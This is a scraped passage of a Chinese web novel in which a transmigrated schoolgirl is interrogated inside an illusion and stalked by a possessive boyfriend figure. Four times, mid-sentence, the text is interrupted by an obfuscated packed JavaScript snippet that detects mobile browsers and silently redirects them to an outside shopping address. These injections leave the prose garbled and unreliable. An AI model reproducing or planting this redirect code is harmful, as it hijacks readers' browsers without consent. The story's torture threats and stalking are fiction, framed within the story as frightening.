原本,她去警局报警,说“昨晚有怪物袭击了我”,哪怕别人一时不信,看到现场怪物的痕迹,也会明白她说的都是真的。 但现在,现场什么都没有了,没有监控和目击者,又没有留下遗体证物,甚至连打斗痕迹都没有,就算她去报警说有怪物,别人也只会把她当精神病。 甚至,还可能会把陈远山和苏玥“失踪”的原因算到她头上。 因为当晚他们最后活着的地点,的确是她家。 如果想把一切说明白,就得把凌漾怎么救她的事告诉别人,可是……他看起来像是拥有了超能力似的,栀栀很害怕自己告诉别人之后,凌漾会被抓进实验室解剖研究。 她只能暂且搁置这个问题。 凌漾家里养了两只小狗,是他们一起捡的流浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142945|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗,一只棕色的,叫“小咖啡”,一只纯白色,叫“小奶糖”,当时栀栀父母还在家,不同意她养狗,凌漾就把两只小狗带了回去,一直养到了现在。 但现在他已经好几天没回过家了,为了防止小奶糖和小咖啡被饿死,栀栀决定把两只狗狗抱回自己家照顾。 这两只小狗是栀栀捡到的,她经常陪它们玩,两只小狗都很喜欢她。 见到栀栀它们高兴地扑过来,一边舔她一边冲她摇尾巴,她一招手就欢快地和她走了,看样子是完全没想起自家主人。 抱回小狗后,栀栀挨个抬起它们的爪爪检查了一下。 这几天它们似乎没有被渴到饿到,油光水滑的,精神状态也很好,还开心地叼着玩具围着她转,要她陪它们玩。 只是还没玩多久,门口就响起了敲门声。 小咖啡胆子小,感觉到有人来了,立刻躲在栀栀怀里瑟瑟发抖,小奶糖则跑到了门口,开始冲着门外的人大叫。 栀栀也有点害怕,但她还是先把小奶糖和小咖啡都抱回了安全的屋子里,才去把门打开。 门外站着三个人,他们都穿着黑色制服,气质锋锐仿佛利刃,其中两人很年轻,大概二十多岁左右。 但最年轻的还是为首的那个人。 “……江礼?”栀栀疑惑地看着他,“你怎么来啦?有什么事吗?” 明明在学校里经常会见到,但栀栀差点没认出江礼来。 眼前的少年似乎清瘦了一些,五官还是一如既往地精致秀气,只是肤色有种别样的苍白,衬得他瞳仁愈暗。 倒不是容貌上有多大的变化,她差点没认出他的原因,是他的气质。 以前的江礼就像是云雾中高耸的山峰,冷峻又神秘,模模糊糊看不太清,但你知道他就在那里。 可是现在的江礼,给她的感觉却更像深潭。 平静无波的深潭,不知道潭下到底藏着什么东西。 他望着她,缓缓道:“班长,几天前,我哥哥去世了,死于谋杀。” 栀栀不明白他为什么突然来找她提这个,一时又懵又怕,小声道:“啊……啊那、那凶手找到了吗?” “我们就是因为这件事来的。” 不等白栀反应过来,他上前一步推开门,俊脸上仍旧没什么表情,只是直直地望着她:“班长,我可以问你几个问题吗?” 14. 第十四章 像是沉进了水里,又被打捞了上来。 白栀的第一感受是冷。 她缓缓睁开眼。 映入眼帘的是惨白的灯光,孤零零一盏吊灯悬在空中,四周一片幽暗。 这好像是个地下室,周围是冷冰冰的铁墙,上面有些褐色的污渍,不知道到底是什么,墙上还挂着好多她不认识的工具,看起来似乎是……刑具? 白栀瞬间被吓清醒了。 她刚想起身,却发现自己正坐在一把椅子上,手腕和脚腕都被牢牢固定住,动也不能动。 啥情况啊? 白栀一脸懵逼。 她刚才不是在给江礼开门吗? 他还说要问她问题来着? 怎么会突然出现在这里? 【这里是江礼给你构建的幻境哦~】 系统及时跳了出来。 【幻境?什么幻境?】 【江礼自己的特殊能力啦,在你开门的一瞬间,他就把你拉入了自己构建的幻境中。这个幻境能以假乱真,被拉进去的人五感俱全,不会知道自己正在幻境中,这时候再施以酷刑,就能得到自己想要的答案了,一般人都会招供的~】 白栀:【等等、什么“酷刑”?什么“招供”?这个幻境是他用来审讯的地方吗?!】 【差不多吧~毕竟如果在现实中使用刑罚,可能一不小心就会把人弄死。幻境里就没这个顾虑了,可以想干什么就干什么,反正也不会对现实里的身体造成什么伤害,不过痛感是一致的~】 听了它的话,白栀心都在颤抖:【不是——江礼不是这部漫画的“主角”吗?正义的主角应该不会随便在幻境里折磨柔弱的女孩子吧?】 【亲亲,“正义的主角”一般是王道少年漫里才有的特产,像我们这种邪道漫画,主角只要不比反派更邪你就该烧高香了~为达目的不择手段什么的都是小意思啦!】 白栀(痛苦面具):哦漏! 幸灾乐祸完了之后,系统又有一丢丢地唏嘘:【其实江礼最初开发这个能力也不是用来做这个的啦,只是因为他没什么感情能力又强,异化社就一直把他当作好用的杀人兵器对待,在他很小的时候就经常给他派这种需要刑讯的灰色任务。大概是厌倦了在现实中见血吧,后来再有这种情况,他就把场所搬到幻境里了。】 【我才不关心攻略对象的悲惨过往呢,反正都没我悲惨!】白栀只关心一件事,【那有什么方法能脱离幻境么?】 【在幻境里死掉就可以了~】 白栀:“………” 这不相当于啥也没说吗? “你醒了。” 一道熟悉的嗓音在她耳边响起,简直像是死神的邀请,瞬间就把她从和系统吐槽的快乐时光拉回到了悲惨的幻境中。 白栀无语凝噎,只能选择接受现实。 她迅速进入演技模式,装作茫然地望着他:“……江礼?这是哪里?我怎么会在这儿?是你带我来的吗?” 她一低下头,看见自己身上的铁枷顿时愣住了,反应过来后非常害怕,直接挣扎了起来:“……你这是做什么呀?为什么要这样绑着我?手腕好痛……你放开我好不好?” 她在椅子上扭来扭去,努力挣扎,面前的少年却并不在意。 他只是伸出一只手,修长的手指轻轻落在铁枷上,只是轻轻一触,似乎都没怎么用力,铐住她手腕的铁枷便瞬间弯曲变形! 变得更紧更重了。 栀栀:“……” “我只是想问几个问题,问完就放你离开。”江礼垂眼看她,和气地说,“班长可以稍微配合一下吗?” 铁枷都能直接弄变形,这力道怕不是能直接捏碎她天灵盖,识时务者为俊杰……栀栀害怕地闭上了嘴,乖巧地点了点头。 江礼的五官其实并不锋利,反而很精致秀气,他皮肤很白,唇色很淡,瞳仁很黑,像一幅浓淡相宜的水墨画,一举一动都有种雪落无声般的清雅之感,仿佛漫画里走出来的美少年。 但这份秀气绝不会让他显得好相处,反而带着某种让人胆寒的冷意。 他提起了一个毫不相关的话题。 “这几日,海市大人物接连被杀,有好几个是凌氏集团的高层,其中甚至包括了凌氏集团的现任掌舵人赵绍晖。” “赵绍晖在现场留下了一封忏悔信,信中详细披露了他是怎么害死凌氏夫妇、又是怎么在多年来数次派人对他们的儿子进行暗杀的。其余死去的高层也或多或少参与了这些事。他们死状凄惨,堪比凌迟,可从调查结果判断,死亡现场没有第二个人的踪迹,这些人只能是死于自杀。” “这位凶手不仅要他们的命,还要这些人身败名裂。明明轻易就能了结了他们,却偏偏要选择让他们含恨‘自尽’,连申冤的机会都不留下。” “狠辣到这种地步,明显是冲着复仇去的。” 这个作风,似乎很像她认识的某个人…… 不,这根本就是他本人吧! 天呢这才几天不见凌漾怎么能给她整这么大的活?! 白栀心里痛苦面具,但表面上还是要接着演下去。 她咬了咬唇:“这件事听起来的确很残忍……可是……这和我们又有什么关系呢?江同学你来找我,不是想问有关你哥哥的事吗?……虽然其实我也不认识你哥哥。”她小声嘀咕。 江礼微微颔首:“是我忘了说。我兄长的死的确和这个案子有关,他的遗体被发现的时候,就像被激光切割过一样,碎成了很多块。” “碰巧的是,凌氏集团那些高层的死法,和我兄长如出一辙。” “就像是同一人所为。” 栀栀默默不语。 江礼说:“班长,你上一次见凌同学,是什么时候?” “……5月19日晚上,在我家。” “他为什么去你家?” “因为、因为那天玉榕府停电了,我有点害怕,所以就、就让他来家里陪陪我……” “真巧。”江礼点了点头,“我哥哥去世那晚,也是5月19号。” “……是挺巧的。” 栀栀干巴巴地说。 “那晚凌同学一直和班长你在一起吗?” 江礼问。 “……是的。” “也就是说,班长可以为凌同学的不在场证明做证?” 江礼又问。 “应该……可以。” 栀栀小声道。 “这些日子,你觉得凌同学身上有什么奇怪的地方吗?” “……好久没见他了,我没什么感觉,应该没有吧。” 江礼没再说话。 恐怖的沉默在空气中蔓延,似乎蕴藏着某种隐隐约约的冷意。 “班长,你是把我当傻子吗?”江礼神色阴郁,“满口谎言,说的没一句是真话。” “不是的,我……” 白栀心想她其实是很想招供的,但她突然反应过来事实上她对凌漾也是一无所知,她不知道该招供什么啊!她只知道他是这部漫画的终极BOSS,至于他的来历背景有没有杀人她也是一脸懵逼! 但江礼似乎已经认定了她是有意包庇。 冰冷的怒意在他脸上一闪而过,但他还是很快冷静了下来。 “我并不想这样对你,但你实在让我太失望了。”他说,“看到墙上挂着的那些东西了么?白同学,我的哥哥是个好人,但很可惜我不是。只要能得到想要的答案,对我来说任何手段都是可以使用的。” “不是的……不是我不想说……”白栀哽咽,“我是真的不知道……” “我再给你最后一次机会。” 白栀:“…………” 她的沉默震耳欲聋。 似乎把她的沉默理解成了无声的抗议,江礼彻底失去了耐心:“都到了现在,你还要维护他么?” 白栀:“…………” 他转身在墙上挑选了一副刑具(白栀不认识,但光是看着就头皮发麻),随即不紧不慢地扯了扯手上的皮革手套——似乎是为了防止双手被血弄脏特意戴的。 “那我们就试试吧。”他说,“看看你维护他的决心到底有多坚定。” 白栀:“…………” 如果不能说脏话的话,她就没什么可说的了。 白栀麻了。 她懂,刑讯逼供一般都是这样的,就算犯人确实啥都不知道,审讯官也不会相信的,只会加大刑罚力度,恨不得把所有酷刑全用一遍,要是这样还不松口,才能勉强证明她说的是真话。 当然,到那个时候人还会不会喘气就是两说了。 她才不打算陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142946|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他过这个流程,能对她这种柔弱美少女做出这种事,江礼这个狗东西已经彻底变态了! 算了,与其待在这里受折磨,不如直接死遁脱离幻境。 三十六计走为上! 白栀立刻在系统商城里下单了十秒的“无痛体验”,随即闭了闭眼,心下一狠。 …… 手脚都被锁链牢牢拷住的少女突然闭上了眼,她脸色苍白,似乎下定了什么决心似的,脸上闪过一丝痛楚。 瞥见这一幕,原本平静的少年脸色骤变,表情突然变得极度恐怖,他扔掉手里的东西,瞬间移动她身前,一把掐住她的下颚,强力迫使她张开嘴,修长的手指直接探入她的口中,阻止了她牙齿的咬合。 尽管他阻止得很及时,少女的嘴角还是溢出一丝血。 她竟然敢咬舌自尽! 江礼面色发白。 好在最终没有成功,大概实在娇气怕疼,舌尖只破了道小口子,栀栀就痛得晕了过去。 江礼抱着昏迷过去的少女,她本来就不重,更不用说以他的力气,她轻得就像一根快要飘起来的羽毛。 甚至会让人担心稍微用力一点就会捏碎她。 他低头望着她,脸色惨白,简直比他怀里的女孩还要更白。 其实他没有真的打算要对她用刑,以往需要他刑讯的大多是穷凶极恶的异化者,白栀毕竟是他的同学,江礼一直在学着做一个正常人,而正常人是不会对柔弱的同学用刑的。 他知道凌漾很可疑,也清楚她藏着某些秘密,但江礼只是想试探她一下,就算她最终什么都不肯说,他也会放她回现实。 他没想到她竟然会选择咬舌自尽。 为什么? 她不知道这只是幻境,在她看来,如果死了,就是真的死了。 难道是觉得自己扛不住刑讯,会说出对凌漾不利的信息,所以宁愿选择先一步去死吗? 她那么怕痛,平时就算手指擦破一点点皮,都要娇气地给自己贴个漂亮的创口贴。 白栀一直都是个特别爱惜自己的女孩子。 可现在,为了维护另一个人,她竟然选择主动去死。 她居然能为凌漾做到这种地步? 她怎么能为凌漾做到这种地步? 即便知道她维护的那个人,可能是个恶人,她还是毫不犹豫地选择了站在他那边。 为此甚至不惜去死。 江礼怔怔地立在原地,他望着怀中的少女,一向冷傲仿佛青竹雪松的少年脸上,竟然有几分无措和迷茫。 他无法形容自己心里的震动。 江礼过往的人生中,从没遇到过这样的人,这样无条件的偏爱。 兄长江何是个十分正直的人,如果是江礼做了错事,都不用别人来审讯,江何会是第一个把他羁押归案的人。 他们更不会为了彼此牺牲自己的性命。 或者说,这个世界上又有几个人,愿意为了旁人放弃自己的性命? 他无法理解她的做法。 更无法理解她的感情。 可是他平静得仿佛一潭死水的心脏,的确因为她的举动,激起了几缕涟漪。 其实,在见到凌漾的第一面,江礼就隐隐觉得他们很像。 同样父母双亡,同样感情淡漠,同样在幼时患有严重的自闭症,同样遭受过虐待。 不同的是,凌漾在很小的时候就遇见了白栀,他此后人生中的每一天,都有她的存在。 这也没什么可羡慕的,不过是身边多了个喜欢多管闲事的女孩。 他并不喜欢白栀。 所以也不羡慕凌漾。 就算她总是习惯性坐在凌漾身边,总是在篮球赛的时候大声给他加油,总是在放学后和他一起回家……他也不羡慕凌漾。 因为他不需要她坐在自己身边,不需要她比赛时的加油声,更不需要她放学后陪他一起回家。 他们本来就是不同世界的人。 她是凌漾的青梅竹马。 而凌漾很可能是杀害江何的罪魁祸首。 所以他不可能喜欢白栀。 以前不可能,以后更不可能。 无需强调,他也确信这一点。 可是,看着怀里女孩苍白的脸色时……心里那抹隐隐约约的躁意……又是怎么回事? 15. 第十五章 幻境消散了。 大概是在幻境里昏迷的缘故,栀栀醒来的时间比江礼更晚。 她睁开眼的时候,发现自己正躺在床上,而江礼就垂着眼帘坐在一旁的椅子上,静静地看着她。 他言简意赅地向她解释了一下目前的情况,包括异化社的存在、异种和混沌域的概念、以及凌漾在这些事里可能起到的作用…… 最后他说:“我知道你隐瞒了一些内容,这件事我会继续调查。” “……你还会这样审讯我吗?” 江礼思索了一下:“也许。” 栀栀一脸想哭的表情:“请不要伤害我……我真的什么也不知道。” “知不知道不由你说了算,我自己会判断。” 栀栀沉默了一会儿。 “江同学,如果……我是说如果,如果凌漾真的是杀害你哥哥的凶手,你们会怎么做?会把他关到研究室去进行解剖吗?” “可能会,但这和你没有关系。”江礼淡淡道,“如果事情真的是他做的,那他很可能已经堕落为异种。异种没有人类的情感和理智,也不再是以前的那个人,所以你也不用太难过。” 对江礼来说,这已经是他说过的最温和的话了。 但是栀栀还是哭了。 她没有说话,强忍着不掉眼泪,可是眼眶已经变得红红的了。 不知道为什么,看见她这样,他觉得胸口那股奇怪的情绪好像又出现了。 “我上次见他他还好好的呢,怎么会堕落成异种呢?一定不是凌漾做的……”她哭着说,“他和你哥哥无冤无仇,为什么要杀他?这其中一定是有什么误会……你们不要把他抓去实验室好不好?” 真是孩子气的说法。 江礼杀过很多异种,也追击过很多穷凶极恶的异化者,走投无路时,那些人里有威胁他的、有提议合作的、有试图搏命相拼的,但他就是没遇到求他“不要抓人好不好”的。 天真又愚蠢。 对异种仁慈,是对自己性命的不负责。 他明明应该果断地拒绝她。 可是莫名的情绪拉扯着心脏,让他一时无法说出拒绝的话。 抬手按住心脏的位置,江礼觉得非常奇怪。 他这是……怎么了? * 之后的几天,白栀没再见过江礼。 当然凌漾这小子还是在玩失踪,根本找不到他人。 白栀开始正常地上学放学,放假就和叶晴一起逛街,一起去图书馆自习,日子过得不要太轻松。 果然讨厌的男人就会带来麻烦,只有闺蜜才是最好的! 她忿忿地想。 但是……要是凌漾这厮一直不出现,攻略就一直完不成……她该不会要在这个世界待到天荒地老吧…… 白栀有点淡淡的忧伤。 又是一天放学后,白栀回到家里,随便煮了碗面糊弄了一下自己,正在洗碗的时候,系统的声音突然响了起来。 【凌漾回来了哦~】 白栀手一顿,碗差点掉进水槽里。 “他回来了?在哪儿?” 【在他家别墅……不对,现在已经到你家楼下了。】 呵,男人。 白栀冷冷一笑。 之前说的那么好听,什么“你从来没有真正认识过我”、什么“已经厌倦了青梅竹马的游戏”,结果还不是克制不住相思之情过来找她了? 她继续一边洗碗,一边等着他敲门。 ……结果碗都快被她洗抛光了,凌漾也没有要进来的意思。 白栀:“……这是在玩一二三木头人吗?他怎么还不敲门?他还在楼下吗?” 【还在……不对,他好像打算走了。】 可恶!好不容易到手的积分怎么能让他飞了! 白栀立刻放下碗,在系统商城购买了一个【发热一整晚,装病不留痕】的道具,确认自己脸上身上开始有症状,这才飞速穿起外套拿起手机,以一种要出去丢垃圾的姿态下楼开门。 一打开门,栀栀顿时愣了一下,“惊讶”地看着眼前的少年。 凌漾里面穿着一件白色T恤,外面随意套着一件黑色外套,那双弧度漂亮的桃花眼似乎有点笑模样,但他脸上没什么表情,看起来冷冷的。 “……凌漾?你怎么在这里?你什么时候回来的?” “刚才。”凌漾说,“不是我想在这里,只是一回家,我就发现我的狗不见了,像是被人偷了。” 栀栀:“……” 似乎是听到了两人的谈话声,小咖啡和小奶糖摇着尾巴欢快地跑了出来。 凌漾瞥了一眼两只小狗,又把目光转向她。 栀栀恼羞成怒:“什么叫‘偷’?这本来就是我的狗……” 凌漾没说话,只是扯了扯嘴角,不知道是不是嘲讽的意思。 回想起上次见面他说过的话,栀栀还很生气和委屈,觉得自己对他的态度似乎有点太好了。 再加上生病,她有些蔫蔫的,神色低落:“……我只是帮你照顾几天,没有别的意思。如果它们愿意,你就把它们带回去吧……小咖啡和小奶糖的玩具我放在二楼书房了。” 说完,她默默地往后退了一步,以一种拒绝再和他说话的架势,转身回了客厅。 凌漾神色平静而冷淡,同样没有要和她沟通的意思,他对她家的熟悉程度不亚于自己家,也没问她书房怎么走,径直去了二楼。 小奶糖和小咖啡看着走向不同方向的两人,两只小狗不明白两位主人之间到底发生了什么,先是往白栀的方向跑了几步,之后又往凌漾的方向跑了几步,左顾右盼又一会儿,最终不知所措地停在了原地。 白栀坐在沙发上,默默地酝酿情绪,系统出品的药就是好用,她这会儿感觉已经晕晕乎乎了,随时能倒下的感觉,保证可以把戏演得逼真又不突兀。 “还有项圈。”凌漾很快就从二楼下来了,淡淡道,“它们的项圈不在二楼书房。” 栀栀一怔:“……是我忘了,项圈我摘下来放卧室。抱歉……我现在去拿。” 她面色潮红,步伐有些软,身体也晃晃的。 一看就知道是生病了。 凌漾也知道她生病了。 都无需当面确认,她体内属于他的那部分力量,自然会把她的身体状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149925|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传达给他。 虚弱、难受、发热、想哭。 这些都是她的感受。 他并不想知晓她生病的感觉。 可是他体内属于人类的部分,似乎正在因为她的难受而难受。 尽管只是零星的、微不可察的情绪。 凌漾心里充满了烦躁的不耐。 残存的那点爱她的惯性,到底什么时候能彻底消失? 低级又软弱的情绪,他已经受够了。 明明就是个再普通不过的女孩。 人类的他,到底为什么还要对她念念不忘? 他不明白。 他也不想明白。 其实以他的能力,想让她的身体恢复健康,是一件很简单的事。 可是他为什么要那样做? 她难不难受,和他又有什么关系? 他并不关心她。 他只是强压着心底的躁意,冷冷地看着她瘦弱的身影,眼眸一眨不眨。 栀栀不知道他在想什么,她在卧室里翻找项圈,小奶糖和小咖啡太调皮了,竟然把项圈叼到了床底,她不得不低下头去找。 只是蹲下的时间似乎有些久,再加上生病,起身的时候只是突然感到一阵眩晕,整个人都站不住,她竟然直接倒了下去。 想象中的疼痛没有传来。 因为一只手突然揽住了她的腰。 “找不到就别找了。”凌漾说,“我之后再买。” 栀栀完全没注意他在说什么。 因为他一靠近她,她身体里那种奇怪的反应又开始了。 双腿发软,想软软地贴在他怀里,恨不得直接融进他身体。 这种反应实在有点不妙。 栀栀条件反射地拍开他的手:“离我远点!” 她下意识就想后退。 她的抗拒似乎让他误会了什么,凌漾的脸色霎时沉了下来。 他不仅没离她远点,反而握住她的手腕,以无法反抗的力度一把把她拽了过来:“离你远点?怎么算是离你远点?” 因为生病,栀栀整个人都飘得像张纸,而凌漾又没有留力,她直接被拽着撞进了他怀里。 就像一团柔软的棉花。 太近了。 近得他能清楚地闻到她身上散发的香气。 柑橘味的洗发露、玫瑰味的沐浴露、还有她身上自带的温软的香气。 不,不止是香气。 除了她自身的味道,还有一种不属于她的气味。 不止是她身上,甚至就连她的卧室里都残留着那种气味。 是他认识的人。 那个人接近过她! 甚至在她身上留下了自己的气味! 理智被瞬间击溃,“黑线”和“白线”瞬间不受控制地狂涌而出,在空中狰狞乱舞! 栀栀还没感受到危险,只是在奋力挣扎,但就连她的挣扎也是无用的,她还是被他牢牢禁锢在了怀里。 那双桃花形状的眼眸此刻仿佛潜藏着狂风暴雨,他俯身靠近她,神色简直有如修罗恶鬼,寒气森森道:“你身上为什么会有江礼的味道?你和他睡过了?” 16. 第十六章 栀栀愣住了。 似乎是没想到会听到这种话,她一时连生气都忘了,整个人都惊呆了,又惊又羞:“凌漾……你、你在说什么呢?什么味道……我听不明白……” 她真是被吓到了,惊得试图逃避他的视线,可是他却直直地盯着她,目光仿佛利刃,能清晰划过她的每一寸肌肤。 “不要回避我的问题。”凌漾掐住她的下巴,那双一向笑盈盈的桃花眼正冷冷地凝视着她,“告诉我,你什么时候见过江礼?他进过你房间吗?还是碰过你哪里?为什么你身上会有他的气味?” 说到最后,语气隐隐开始癫狂。 这么点气味都闻出来了,不枉她之前装晕在江礼怀里蹭了那么久哈! 白栀心里很欢乐。 但心里再欢乐,戏还是要接着往下演的。 听见他的话,栀栀胸口起伏了几下,然后开始挣扎:“什么气味……我才没闻到……突然说这些干什么?你是故意来羞辱我的吗?我有没有和他怎么样跟你又有什么关系?你管得着吗?坏蛋,放开我!” 她本来就在生病,力气又小,他只要稍微用点力,她就像被狮子摁住的小白兔一样动弹不得。 可是她却没有停止反抗。 明明知道他们之间的力量差距仿佛相隔天堑,为什么她还总是要进行这种无谓的挣扎呢? 就这么想挣脱他的桎梏吗? 他觉得她这种不自量力的行为很愚蠢。 也很让人烦躁。 在发现她身上有别人留下的气味时,焦躁、恶心、杀意……种种负面情绪仿佛电流一样传遍了全身。 这当然不是源于喜欢。 事实上,他并不喜欢她。 他只是无法忍受她身上有别人的味道。 就算他不喜欢她,不要她,她也是属于他的。 旁人怎么有资格染指她?他们又怎么敢染指她? “我当然管得着。”他盯着她,一字一句地说,“他哪根手指碰过你,我就从哪里开始把他切成碎片。不止是他,所有妄图肖想你的人,下场都只有一个,就是死。” 这番狂气的发言让栀栀惊呆了。 大概是认清了眼前人的本质,终于意识到神经病是不可沟通的,她气得直接给了他一巴掌:“我和江礼能发生什么?你少在这里发疯,滚蛋!” 凌漾扳过她的脸,目光从她眼睛、鼻子、嘴唇……一寸寸划过,似乎终于确认了她没有在说谎,才缓缓松开钳制住她的手。 他的神色重新变得平静而冷淡。 那天以后,凌漾没有再上门找茬。 他一改此前的失踪常态,重新回到学校开始上课,整个人都变得无比正常。 但栀栀总觉得暗地里有人在看着她。 特别是在她和其他人说话的时候。 甚至就连睡觉的时候,这种被人注视的感觉也始终如影随形。 她好几次从梦中惊醒,但是身边空荡荡的,什么都没有。 ……似乎是错觉。 【这不是错觉。】系统表示,【你每晚睡着后,凌漾都会闪现到你卧室,什么都不做,就只是看你一会儿,好像是在欣赏你的睡姿,看完就消失。】 白栀:“……” 白栀:……不是哥,这真的有点变态了。 这段时间,赵绍晖“自杀”去世的消息传遍了整个海市。 赵家根基本来就比较浅薄,曾经呼风唤雨不可一世的凌氏集团掌舵人,在身死后却仿佛树倒猢狲散,不落井下石都算好的了,葬礼上更是没来几个人。 白栀去的时候,只看到了他的儿子赵延。 赵延面色憔悴,眼睛里布满血丝,似乎已经好几天没合过眼了。 她来参加正是他给她发的邀请。 看到赵延,白栀突然想到了之前凌漾的葬礼。 相似的场景、相似的人。 不同的是,这次躺在棺材里的人变成了赵绍晖。 “他们都说我父亲是自杀。”赵延说,“但是我不相信。” “一个人怎么可能用自杀的方式,把自己活生生切成好多块呢?” 栀栀不知道该说什么,只能干巴巴地说了一句“节哀”。 赵延没有理会她这句节哀,神情中隐隐带着几分偏执:“我一定会抓到凶手,无论他是谁,我都会把他送去地狱谢罪。” 栀栀没有再说话。 不知道是不是错觉,临走前,她好像听见耳边响起了一声极轻的冷笑。 * 日子一天天热了起来,就连吹过的风都带着几缕热意。 教室外的蝉鸣声越发响亮,一年中最热烈的季节马上就要来了。 临近毕业,能复习的都复习的差不多了,该临时抱佛脚的也抱得差不多了,成绩好的不忧心考试,成绩差的也找好了出路,老师也不再讲课,上课基本就是自习。 大家都有些浮躁了起来,不仅仅是因为马上就要毕业了,还是因为最近海市好像不太太平,流血事件频发,半夜总是能听见警笛的声音,头顶上空时不时有直升机飞过,吵得人很难专心沉静下来。 “不会真的是要世界末日了吧?” “有点期待呢,不知道是生化危机还是异形再临?” “世界末日如果在考试前来,我会非常欢迎,但如果它在考试后再来……那就没有必要了。” “别想了,没有世界末日这种好事!还是滚去再刷几道题吧!” 教室里一片哭鬼狼嚎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162937|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>人之将死其言也善,临机毕业也该恩怨全消,但就在这种最后关头,白栀竟然还阻止了一起针对林雨薇的霸凌事件。 说起这件事她都有些无语了:“我真是不明白,之前不都好好的吗?林雨薇也顺利融进我们班了啊,这都什么时候了,怎么还有人去欺负她啊?” 叶晴笑了笑:“这个我知道,好像是和你有关。” 栀栀微微一怔:“和我有关?” “也没太久吧……貌似是从前段时间开始的?你没觉得林雨薇的穿衣打扮和你越来越像了吗?” 栀栀:“……大家不都穿校服吗?还有什么穿衣打扮?” “是发型和饰品啦。”叶晴说,“她去剪了个和你一模一样的发型,耳钉也是和你一样的珍珠耳钉……好像手链和项链也和你买了同款。有些同学觉得她太学人精了,大概是因为这样引起不满的吧。” 栀栀觉得这有点不讲道理:“发型就那么几种,谁都可以剪。首饰又不是限量款,我也没买断,别人当然买。况且,就算她真的是‘学’我买了这些,也不能因为这个就去霸凌别人吧?怎么想霸凌都是不对的。” “我也是这样想的,确实有点不讲道理。” 叶晴点头认同,但她脸上又浮现了一抹困惑。 “不过,她最近好像的确是和你越来越像了……我今天来学校的时候撞见她了,但是第一眼我竟然把她认成了你,还打了个招呼……唔,可能是眼花看错了吧。” 叶晴没太纠结这件事,她转而提起了另一个话题,神神秘秘地从抽屉里拿出了一个东西给她。 白栀接过它,那是一张信纸,款式非常简约可爱,白底粉格纹,右上角还有一个红色的爱心。 信纸不知道使用什么做的,凑近闻一闻,还能嗅到淡淡的香气。 “这是什么?” “爱情信纸。”叶晴说,“你不知道吗?这个东西最近在学校里非常流行,据说只要把自己和喜欢的人的名字写在上面,然后当作情书交给对方,就能百分百收获爱情哦……不知道这个说法是从哪里流传出来的,可能是临近毕业,被很多胆小鬼当救命稻草了吧,最近都传疯了。” “商家的噱头吧……”栀栀左右看了看,“不管怎么看这就是一张很普通的纸啊……?你不会把名字写上去了吧?” “还没有呢。”叶晴嗔怪道,“我就拿到了一张,这么珍贵,当然是要先和你分享啦。” “谢谢啊,不过你居然会信这种东西……老了记得联系我,我卖保健品给你。” “栀栀!” 叶晴发出抗议的声音,两人笑闹成一团。 混乱中,栀栀瞟了一眼信纸,不知道是不是错觉,右上角的那个红色的爱心……好像跳了一下? 17. 第十七章 海市花江区双凤路28号。 海江监狱。 “身份证带了吗?还有会见人与被会见服刑人员亲属关系证明。” “带了。” 林雨薇把手中的资料递给对方。 狱警接过资料,仔细查看了一会儿,确认无误后,才对她说:“确保遵守监狱规定,不得携带任何违禁物品,进入探监区域前需要接受安检。探监时间有限,一般不超过三十分钟,想说什么自己注意时间。” “好的,谢谢。” 这套流程林雨薇并不陌生,从七岁开始,她每年都至少要经历一次,几乎都快麻木了。 被引导着走向探监区域,一想到又要见到那个女人了,她就不由自主地想停下来深呼吸。 其实林雨薇并不想见到那个女人,她对和那个女人有关的一切都万分抗拒,可是却又不得不来。 因为和那个女人关系最密切的,就是她自己。 上一次见面还是在去年,和那时相比,女人好像变得更鸠形鹄面了,枯瘦的脖颈、发黄的面容、颧骨高高地突起,只剩一双大眼睛还能看出几分年轻时的清秀模样。 可是那双眼睛一看到林雨薇就发出了阴冷的光:“你还知道来见我啊?是终于想起监狱里还有我这个妈了?这么久连通电话都没有,我还以为你死外面了呢!你这个小表子,和你那个吃软饭的死人爹一样是个养不熟的白眼狼!” 